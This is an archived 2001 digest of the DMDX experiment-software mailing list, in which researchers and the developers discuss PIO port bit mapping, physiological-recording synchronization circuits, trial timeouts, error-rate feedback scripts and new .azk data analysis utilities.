Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:06 AM 8/30/01 -0700, you wrote: Wrong, wrong, wrong, wrong. Rename those ports: Port C Port B Port A Bit 7.....Bit 0 Bit 7.....Bit 0 Bit 7.....Bit 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 > Port A Port B Port C >Bit 7.....Bit 0 Bit 7.....Bit 0 Bit 7.....Bit 0 >0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 >0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 >0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If A = B and B = C, then A = C, except where void or prohibited by law. - Roy Santoro >From DMDX-owner@psy1.psych.arizona.edu Thu Aug 30 10:47:23 2001 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA24167 for ; Thu, 30 Aug 2001 10:47:08 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id f7UHl7p16317 for ; Thu, 30 Aug 2001 19:47:07 +0200 From: ""Derek N. Eder"" To: ""DMDX"" Subject: [DMDX] RE: DMDX synchronization to physiological recordings Date: Thu, 30 Aug 2001 19:45:52 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is in response to the previous postings about 'synchronizing' electrophysiological recordings (e.g., electro dermal responses) with DMDX generated stimuli. I am synchronizing DMDX activities (trial onsets, stimuli, responses) with electrophysiological signals by recording analog 'flags' on one channel of a multichannel digital acquisition recorder. Using a simple OP-AMP volatge summing circuit, I essentially have a digital to analog converter with generates a specific DC voltage for each PIO port output. I could have recorded the PIO outputs directly on seperate channels but the software signal detection processing required to recover the flags is much simpler using only one channel. For example, a -0.5 V pulse corresponds to the onset of the trial, -1.0 V to the stimulus presentation, and -1.5 V to the response - each generated by writing to a seperate PIO output bit. The electronic schematic below roughly illustrates the concept (drawing in ASCII is a real pain!). ""R"" refers to a resistance value. |---( R )---< GND > PIO OUT 1 ----( R )------| | | -- |. PIO OUT 2 ----( 2R )-----| |+ . | | .--------> OUTPUT (- input) PIO OUT 3 ----( 3R )-----|-------|- . | | |. | | | |----( xR )----| Please feel free to contact me directly if you need more more specific guidance. - Derek Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap - psykiatri Sahlgrenska universitetssjukhuset SS/SU Bl� straket 17b SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 26 139 Fax. +46 (031) 34 21 533 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Section for Psychiatry Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden >From DMDX-owner@psy1.psych.arizona.edu Thu Aug 30 11:56:33 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA24326 for ; Thu, 30 Aug 2001 11:56:21 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3B8A723700060363 for DMDX@psy1.psych.arizona.edu; Thu, 30 Aug 2001 11:56:19 -0700 Message-Id: <5.1.0.14.2.20010830114747.009e8d20@psy1.psych.arizona.edu> Date: Thu, 30 Aug 2001 11:56:19 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: details wanted on PIO output In-Reply-To: <5.1.0.14.2.20010830091517.009f5a90@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Docs are updated: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhoutputkeyword.htm Help files too if you care to DL the DMDX.ZIP. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Democracy is a government where you can say what you think even if you don't think. >From DMDX-owner@psy1.psych.arizona.edu Thu Aug 30 16:45:41 2001 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id QAA24936 for ; Thu, 30 Aug 2001 16:45:25 -0700 Received: from a9x0c3 ([137.154.102.45]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.2) with SMTP id f7UNjMu03972 for ; Fri, 31 Aug 2001 09:45:22 +1000 (EST) Message-ID: <000f01c131ae$de6de8a0$2d669a89@a9x0c3> From: ""Arch Tibben"" To: References: Subject: [DMDX] Re: RE: DMDX synchronization to physiological recordings Date: Fri, 31 Aug 2001 09:52:45 +1000 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi Derek Very exciting stuff How do you compensate for time delay of physiological responses, that is ....I find GSR response slow when (quick) emotional stimuli is being observed on a screen. I somehow need to latch (synchronize) these responses together and, further would like to change the analogue output to a digital one. (for statistical purposes) I don't know if that is possible however there are obviously analogue to digital converters around ...I nee to investigate this regards keen Arch PS Maybe you can use ""attatchment"" on your email for drawings ----- Original Message ----- From: ""Derek N. Eder"" To: ""DMDX"" Sent: Friday, August 31, 2001 3:45 AM Subject: [DMDX] RE: DMDX synchronization to physiological recordings > This is in response to the previous postings about 'synchronizing' > electrophysiological recordings > (e.g., electro dermal responses) with DMDX generated stimuli. > > I am synchronizing DMDX activities (trial onsets, stimuli, responses) with > electrophysiological signals by recording > analog 'flags' on one channel of a multichannel digital acquisition > recorder. > > Using a simple OP-AMP volatge summing circuit, I essentially have a digital > to analog converter with generates > a specific DC voltage for each PIO port output. I could have recorded the > PIO outputs directly on seperate channels > but the software signal detection processing required to recover the flags > is much simpler using only one channel. > > For example, a -0.5 V pulse corresponds to the onset of the trial, -1.0 V to > the stimulus presentation, > and -1.5 V to the response - each generated by writing to a seperate PIO > output bit. > > The electronic schematic below roughly illustrates the concept (drawing in > ASCII is a real pain!). > ""R"" refers to a resistance value. > > |---( R )---< GND > > PIO OUT 1 ----( R )------| | > | -- |. > PIO OUT 2 ----( 2R )-----| |+ . > | | .--------> OUTPUT (- input) > PIO OUT 3 ----( 3R )-----|-------|- . | > | |. | > | | > |----( xR )----| > > Please feel free to contact me directly if you need more more specific > guidance. > > > - Derek > > > Derek N. Eder > G�teborgs Universitet > Institutionen f�r klinisk neurovetenskap - psykiatri > Sahlgrenska universitetssjukhuset SS/SU > Bl� straket 17b > SE 413 45 G�teborg > Sverige > > Tlf. +46 (031) 34 26 139 > Fax. +46 (031) 34 21 533 > derek.eder@neuro.gu.se > > > Gothenburg University > Institute of Clinical Neuroscience, > Section for Psychiatry > Salhgrenska Hospital SU/SS > SE 413 45 G�teborg > Sweden > > > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Thu Aug 30 18:39:47 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id SAA25196 for ; Thu, 30 Aug 2001 18:39:26 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.16) by phobos.email.Arizona.EDU (5.1.056) id 3B8E97CC0000AEC9 for DMDX@psy1.psych.arizona.edu; Thu, 30 Aug 2001 18:39:26 -0700 Message-Id: <5.1.0.14.2.20010830183659.009e8c30@psy1.psych.arizona.edu> Date: Thu, 30 Aug 2001 18:40:58 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: RE: DMDX synchronization to physiological recordings In-Reply-To: <000f01c131ae$de6de8a0$2d669a89@a9x0c3> References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:52 AM 8/31/01 +1000, you wrote: >PS Maybe you can use ""attatchment"" on your email for drawings Not if you post it to the list please. It borks up the list archive if it doesn't outright crash the list server and is explicitly against the terms of use of this list serv. Don't do it. If you must send attachments send them to the relevant individuals directly. If you do want us to see a nice schematic post it on a webserver and then post an URL to it on the list. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If A = B and B = C, then A = C, except where void or prohibited by law. - Roy Santoro >From DMDX-owner@psy1.psych.arizona.edu Mon Sep 3 09:56:13 2001 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.153.213.178]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA01756 for ; Mon, 3 Sep 2001 09:55:37 -0700 Received: from pc140.mrc-cbu.cam.ac.uk by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Mon, 3 Sep 2001 17:55:33 +0100 (BST) Message-Id: <4.3.2.7.2.20010903170811.00af84d0@pophost.mrc-cbu.cam.ac.uk> Date: Mon, 03 Sep 2001 17:55:26 +0100 To: DMDX@psy1.psych.arizona.edu From: Nick Cumming Subject: [DMDX] Interrupting long timeout values with the keyboard Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi I'm setting up a serial recall experiment using DMDX, using auditory presentation and recording spoken responses using the RecordVocal and DigitalVOX input devices. As the lists are quite long, the item timeout is set to a large value (20000) to accommodate slow responding. However, given few long pauses on the subject's part during recall, recall can take considerably less time than this. Is it possible to allow a keyboard response to trigger the end of a trial, interrupting the timeout? I've asked around here, and our resident experts Mike Ford and Matt Davis can't come up with a solution. Header: need continuous running, frame duration is ~1 s. The video mode (1024x768, 16 bit) works quite well on my machine. I hope the syntax on the input device params is right. Item lines. ""ready"" displayed for 300 ms visually, then 12 digits played in 4 groups of 3. The timer is started immediately following the last item. ""Recall"" displayed for the first 3s of the response period. It is *this* part that I need help with: I would like to let the keyboard interrupt the 20s timeout and let the experiment move onto the next trial. Any help would be appreciated. thanks Nick sample of file: +011 /""READY""/ /""9a""//""4a""//""8a""//""7a""//""8a""//""6a""//""2a""//""5a""//""1a""//""3a""//""5a""//""3a""// /""RECALL""* / ; +111 /""READY""/ /""8a""//""6a""//""7a""//""9a""//""2a""//""5a""//""3a""//""8a""//""4a""//""1a""//""3a""//""9a""// /""RECALL""* / ; +211 /""READY""/ /""1a""//""7a""//""1a""//""6a""//""3a""//""9a""//""5a""//""2a""//""8a""//""9a""//""2a""//""4a""// /""RECALL""* / ; ____________________________ Nick Cumming MRC Cognition and Brain Sciences Unit 15 Chaucer Road Cambridge CB2 2EF tel: 01223 355294 x660 email: nick.cumming@mrc-cbu.cam.ac.uk web: http://www.mrc-cbu.cam.ac.uk/people/nick.cumming/ _______________________________ >From DMDX-owner@psy1.psych.arizona.edu Mon Sep 3 15:20:51 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id PAA02413 for ; Mon, 3 Sep 2001 15:20:35 -0700 Received: (qmail 1251 invoked from network); 3 Sep 2001 22:20:33 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.16) by breaker.dakotacom.net with SMTP; 3 Sep 2001 22:20:33 -0000 Message-Id: <5.1.0.14.2.20010903151251.009eb6a0@psy1.psych.arizona.edu> Date: Mon, 03 Sep 2001 15:21:34 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Interrupting long timeout values with the keyboard In-Reply-To: <4.3.2.7.2.20010903170811.00af84d0@pophost.mrc-cbu.cam.ac.u k> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:55 PM 9/3/01 +0100, you wrote: >onding. However, given few long pauses on the subject's part during >recall, recall can take considerably less time than this. > >Is it possible to allow a keyboard response to trigger the end of a trial, >interrupting the timeout? Not unless you care to sponsor a modification to DMDX. >I've asked around here, and our resident experts Mike Ford and Matt Davis >can't come up with a solution. It's been ages since I looked at any of that code but there are good reasons for it being as simple as it is, it's awfully tricky stuff by itself and combined with the rest of DMDX I have to think long and hard about any mods made to it at all. As I recall the proposed modification was to allow the RecordVocal length to be set by the timeout as it currently is but to have that timeout begin when the DigitalVox triggered -- or perhaps a bit easier from a coding point of view to have two timeouts, the original specifying the absolute timeout and the second specifying how long after a DV trigger to record for. Hairier than a raccoon's proverbial but possible nonetheless. But that's major modification and as such totes a major sponsorship to go with it. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If A = B and B = C, then A = C, except where void or prohibited by law. - Roy Santoro >From DMDX-owner@psy1.psych.arizona.edu Thu Sep 6 16:19:50 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id QAA11014 for ; Thu, 6 Sep 2001 16:19:22 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.071) id 3B9542A800043DFD for DMDX@psy1.psych.arizona.edu; Thu, 6 Sep 2001 16:19:20 -0700 Message-Id: <5.1.0.14.2.20010906161738.009ee3e0@psy1.psych.arizona.edu> Date: Thu, 06 Sep 2001 16:19:21 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] TimeDX 2.1.04 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list There's a new version of TimeDX in the DMDX.ZIP archive that has an expanded PIO test that will now read 16 bits of input. There are enough non standard devices around here now that I've wanted to test recently and have been irritated by TimeDX only testing a few buttons that I finally expanded the thing. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Always do right. This will gratify some people, and astonish the rest. - Mark Twain ""To the Young People's Society, Greenpoint Presbyterian Church Brooklyn"" >From DMDX-owner@psy1.psych.arizona.edu Sat Sep 8 07:58:17 2001 Received: from relay.uni-heidelberg.de (relay.uni-heidelberg.de [129.206.100.212]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id HAA15474 for ; Sat, 8 Sep 2001 07:57:42 -0700 Received: from ix.urz.uni-heidelberg.de (mail.urz.uni-heidelberg.de [129.206.119.234]) by relay.uni-heidelberg.de (8.10.2+Sun/8.10.2) with ESMTP id f88Eveb02618 for ; Sat, 8 Sep 2001 16:57:40 +0200 (MET DST) Received: from aixterm5.urz.uni-heidelberg.de (jzwickel@aixterm5.urz.uni-heidelberg.de [129.206.119.45]) by ix.urz.uni-heidelberg.de (8.8.8/8.8.8) with ESMTP id QAA14148 for ; Sat, 8 Sep 2001 16:57:40 +0200 Received: (from jzwickel@localhost) by aixterm5.urz.uni-heidelberg.de (AIX4.2/UCB 8.7/8.7) id QAA38586; Sat, 8 Sep 2001 16:57:40 +0200 (METDST) Date: Sat, 8 Sep 2001 16:57:39 +0200 (METDST) From: Jan Zwickel To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Displaying error rates to participants Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, I am trying to run a categorization experiment without feedback after each stimulus. Nevertheless, after 24 stimuli I would like to provide the participants with their error rates. How could I display the error rates to subjects in DMDX? I scanned many sites. Surprisingly, I could not find any clue to this question. I would be glad about any tips. Thanks Jan >From DMDX-owner@psy1.psych.arizona.edu Sat Sep 8 09:33:24 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA15733 for ; Sat, 8 Sep 2001 09:33:17 -0700 Received: (qmail 18108 invoked from network); 8 Sep 2001 16:33:14 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.16) by breaker.dakotacom.net with SMTP; 8 Sep 2001 16:33:13 -0000 Message-Id: <5.1.0.14.2.20010908090132.009f3150@psy1.psych.arizona.edu> Date: Sat, 08 Sep 2001 09:34:42 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Displaying error rates to participants In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:57 PM 9/8/01 +0200, you wrote: >Hi, >I am trying to run a categorization experiment without feedback after each >stimulus. Nevertheless, after 24 stimuli I would like to provide the >participants with their error rates. >How could I display the error rates to subjects in DMDX? >I scanned many sites. Surprisingly, I could not find any clue to this >question. >I would be glad about any tips. Hmm, no one's ever wanted to do that before. You can do it but it's going to be ugly as hell. Basically you're going to want to build a subroutine to do it: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhbranchkeyword.htm In your subroutine your going to want to load a counter up with the current error rate: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhsetcounterkeyword.htm Because DMDX can't actually display a counter as a stimulus you're going to have to have an item for each possible error rate -- you might want to bin them a little, OTOH, once you've built the subroutine you don't have to worry about it again. Anyway, you're going to have a series of items that compare the counter against ever increasing constants until it's no greater than them and then display a corresponding item and return. Something like the following: f20 0 ""ErrorRate Feedback Example"" ; 111 d0!%0 c; 0 ""Error Rate 0%"" ; 1 d0!%0 c; 0 ""Error Rate 1%"" ; 2 d0!%0 c; 0 ""Error Rate 2%"" ; 3 d0!%0 c; 0 ""Error Rate 3%"" ; 5 d0!%0 c; 0 ""Error Rate 5%"" ; 10 d0!%0 c; 0 ""Error Rate 10%"" ; 20 d0!%0 c; 0 ""Error Rate 20%"" ; 50 ""Please Try to be Correct"" ; +1000 * ""target""; +1000 * ""target""; !...20 more of them; +1000 * ""target""; +1000 * ""target""; +2000 c; +1000 * ""target""; +1000 * ""target""; !...20 more of them; +1000 * ""target""; +1000 * ""target""; +2000 c; -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If A = B and B = C, then A = C, except where void or prohibited by law. - Roy Santoro >From DMDX-owner@psy1.psych.arizona.edu Mon Sep 10 09:04:32 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA20663 for ; Mon, 10 Sep 2001 09:03:53 -0700 Received: from kif.u.arizona.edu (128.196.98.27) by phobos.email.Arizona.EDU (5.1.071) id 3B96CDBF0005EA4E for DMDX@psy1.psych.arizona.edu; Mon, 10 Sep 2001 09:03:52 -0700 Message-Id: <4.3.1.1.20010910085502.00d48550@kforster.inbox.email.arizona.edu> Date: Mon, 10 Sep 2001 09:04:34 -0700 To: DMDX@psy1.psych.arizona.edu From: Kenneth Forster Subject: [DMDX] Re: Displaying error rates to participants In-Reply-To: <5.1.0.14.2.20010908090132.009f3150@psy1.psych.arizona.edu> References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:34 AM 9/8/01 -0700, you wrote: Hmm, no one's ever wanted to do that before. You can do it but it's going to be ugly as hell. Basically you're going to want to build a subroutine to do it: Incredible -- you mean this actually works? This is an issue that I have often thought would come up some day, because I know it's something that other systems provide. Many experimenters provide feedback only at the end of a block of items. When you have a special purpose C program for each task situation, it's a trivial thing to arrange. But not for a general purpose program. The danger of introducing it would be that people would then say ""but I want to have the mean RT as well as the error rate"". So it would have to be flexible. Perhaps the subroutine approach is the best way to do it. But as you say, it is clumsy. --K >From DMDX-owner@psy1.psych.arizona.edu Mon Sep 10 09:55:15 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA20811 for ; Mon, 10 Sep 2001 09:55:09 -0700 Received: (qmail 21298 invoked from network); 10 Sep 2001 16:54:57 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.16) by breaker.dakotacom.net with SMTP; 10 Sep 2001 16:54:57 -0000 Message-Id: <5.1.0.14.2.20010910094149.009e83c0@psy1.psych.arizona.edu> Date: Mon, 10 Sep 2001 09:56:19 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Displaying error rates to participants In-Reply-To: <4.3.1.1.20010910085502.00d48550@kforster.inbox.email.arizo na.edu> References: <5.1.0.14.2.20010908090132.009f3150@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:04 AM 9/10/01 -0700, you wrote: >At 09:34 AM 9/8/01 -0700, you wrote: > Hmm, no one's ever wanted to do that before. You can do it but it's > going to be ugly as hell. Basically you're going to want to build a > subroutine to do it: > > Incredible -- you mean this actually works? Of course, I wouldn't post it otherwise. > This is an issue that I have often thought would come up some > day, because I know it's something that other systems provide. Many > experimenters provide feedback only at the end of a block of items. When > you have a special purpose C program for each task situation, it's a > trivial thing to arrange. But not for a general purpose program. > > The danger of introducing it would be that people would then say > ""but I want to have the mean RT as well as the error rate"". So it would > have to be flexible. Perhaps the subroutine approach is the best way to > do it. But as you say, it is clumsy. The clumsiness could be mitigated by providing some kind of token replacement within a frame, so something like / ""Error Rate: %%counter1%%%"" / would display 'Error Rate: 100%' and if people need average RTs then a few more counter manipulation facilities will address that. However the feedback would remain subroutine based, I'm not about to touch DMDX's feedback stuff when I've got a passable infinitely flexible alternative in the Call keyword. But I'm not going to gaily add this stuff just to make DMDX a better program, every thing that gets added decreases or stands a chance of decreasing the overall stability of DMDX -- this is true for any program. So until someone here wants it or someone wants to sponsor something it won't get added. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If A = B and B = C, then A = C, except where void or prohibited by law. - Roy Santoro >From DMDX-owner@psy1.psych.arizona.edu Mon Sep 10 12:09:18 2001 Received: from relay.uni-heidelberg.de (relay.uni-heidelberg.de [129.206.100.212]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA21143 for ; Mon, 10 Sep 2001 12:08:55 -0700 Received: from ix.urz.uni-heidelberg.de (mail.urz.uni-heidelberg.de [129.206.119.234]) by relay.uni-heidelberg.de (8.10.2+Sun/8.10.2) with ESMTP id f8AJ8rb22618 for ; Mon, 10 Sep 2001 21:08:53 +0200 (MET DST) Received: from ix.urz.uni-heidelberg.de (ppp236.urz.uni-heidelberg.de [129.206.203.36]) by ix.urz.uni-heidelberg.de (8.8.8/8.8.8) with ESMTP id VAA16446 for ; Mon, 10 Sep 2001 21:08:52 +0200 Message-ID: <3B9D1D15.A80910D5@ix.urz.uni-heidelberg.de> Date: Mon, 10 Sep 2001 21:05:41 +0100 From: Jan Zwickel MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: Displaying error rates to participants References: <4.3.1.1.20010910085502.00d48550@kforster.inbox.email.arizona.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Kenneth Forster wrote: > At 09:34 AM 9/8/01 -0700, you wrote: > Hmm, no one's ever wanted to do that before. You can do it but it's > going to be ugly as hell. Basically you're going to want to build a > subroutine to do it: > > Incredible -- you mean this actually works? Yes, it works great! First I was afraid that it would take too long to branch through all the possibilities. However, it is quite fast. Additionally, as the code changes only systematically it can be produced quickly with C or other programming languages. Jan >From DMDX-owner@psy1.psych.arizona.edu Mon Sep 10 13:54:29 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA21398 for ; Mon, 10 Sep 2001 13:54:18 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.071) id 3B96CDBF00068636 for DMDX@psy1.psych.arizona.edu; Mon, 10 Sep 2001 13:54:17 -0700 Message-Id: <5.1.0.14.2.20010910134941.009e5370@psy1.psych.arizona.edu> Date: Mon, 10 Sep 2001 13:54:18 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Displaying error rates to participants In-Reply-To: <3B9D1D15.A80910D5@ix.urz.uni-heidelberg.de> References: <4.3.1.1.20010910085502.00d48550@kforster.inbox.email.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:05 PM 9/10/01 +0100, you wrote: >Kenneth Forster wrote: > > > At 09:34 AM 9/8/01 -0700, you wrote: > > Hmm, no one's ever wanted to do that before. You can do it but it's > > going to be ugly as hell. Basically you're going to want to build a > > subroutine to do it: > > > > Incredible -- you mean this actually works? > >Yes, >it works great! First I was afraid that it would take too long to branch >through all >the possibilities. That's the d0!%0 for you. Given today's CPUs I don't think you could put enough decisions in there to be noticeable. > However, it is quite fast. Additionally, as the code >changes only >systematically it can be produced quickly with C or other programming >languages. That's DMDX for you, it's not pretty but it can be made to do an amazing number of different tasks -- as long as I'm around anyway... -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Always do right. This will gratify some people, and astonish the rest. - Mark Twain ""To the Young People's Society, Greenpoint Presbyterian Church Brooklyn"" >From DMDX-owner@psy1.psych.arizona.edu Tue Sep 11 14:25:03 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA24197 for ; Tue, 11 Sep 2001 14:24:29 -0700 Received: from kif.u.arizona.edu (128.196.98.27) by deimos.email.Arizona.EDU (5.1.071) id 3B99715B0004A621 for DMDX@psy1.psych.arizona.edu; Tue, 11 Sep 2001 14:24:27 -0700 Message-Id: <4.3.1.1.20010911141856.00bbaf00@kforster.inbox.email.arizona.edu> Date: Tue, 11 Sep 2001 14:25:10 -0700 To: DMDX@psy1.psych.arizona.edu From: Kenneth Forster Subject: [DMDX] Release of new data analysis software In-Reply-To: <5.1.0.14.2.20010906161738.009ee3e0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list DMDXers: This is a day we'll never forget. A day that will really live in infamy. I'm releasing this note about some new software. Can't seem to concentrate on serious things. --Ken Forster ------------------------------------------------------------------------------------------------------------------------------------ RELEASE OF NEW DATA ANALYSIS SOFTWARE FOR .AZK FILES ---------------------------------------------------------------- Jonathan has written three new Windows programs for analyzing data from .azk files. These are designed to carry out similar functions to the original DMASTR programs UNLOAD, DATMAK, UPDATE and CONCAT, which were designed to handle binary .dtp output files. We have been checking these programs out very carefully, and we can guarantee that they give same results as the original programs (plus or minus 1 ms). Actually, the new programs are more accurate than the old (different rounding procedures). Those of you who wish to confirm this can convert existing .dtp files to .azk files using the program DTP2AZK.EXE, and then compare the output of the .azk based programs with the .dtp based programs. The new programs are: (1) UNLOADAZK: This program asks for a source file (an .azk file) and a destination. The .azk file is transferred to the new destination, appending the new material to any existing file with the same name. The original file is then renamed as an .rdb (raw data backup) file. (2) ANALYZE: Computes subject and item mean RTs and error rates from .azk files. The assignment of items to conditions is specified in an .spc(specification) file. This is an ordinary text file, and includes a number of parameters which specify computational options (e.g., data trimming, error rate criterion for exclusion of subjects, analyze only incorrect responses, etc). ANALYZE produces for each .azk file two output files: (a) an .ism (item summary) file, which lists the mean RT and error rates for each item in each condition, and (b) a .das file, which has exactly the same format as the original .das files. (3) CONCATENATE: Combines data from several .das files in a suitable fashion for input to ANOVA programs. The method of concatenation is specified in a .cat file which lists the name of the .das file, and the conditions to be selected from it. Each program has its own HELP function. Pressing COPY will copy the contents to the clipboard. Download these programs from: http://www.u.arizona.edu/~jforster/dmdx/dmdxutils.zip Example of .spc file: ---------------------------- # any line with # at the beginning is a comment title: SN3a Form priming with shared neighbor Target N=1 # any text appearing after ""title:"" will be used as a title. discard_display_errors # if there was a display error 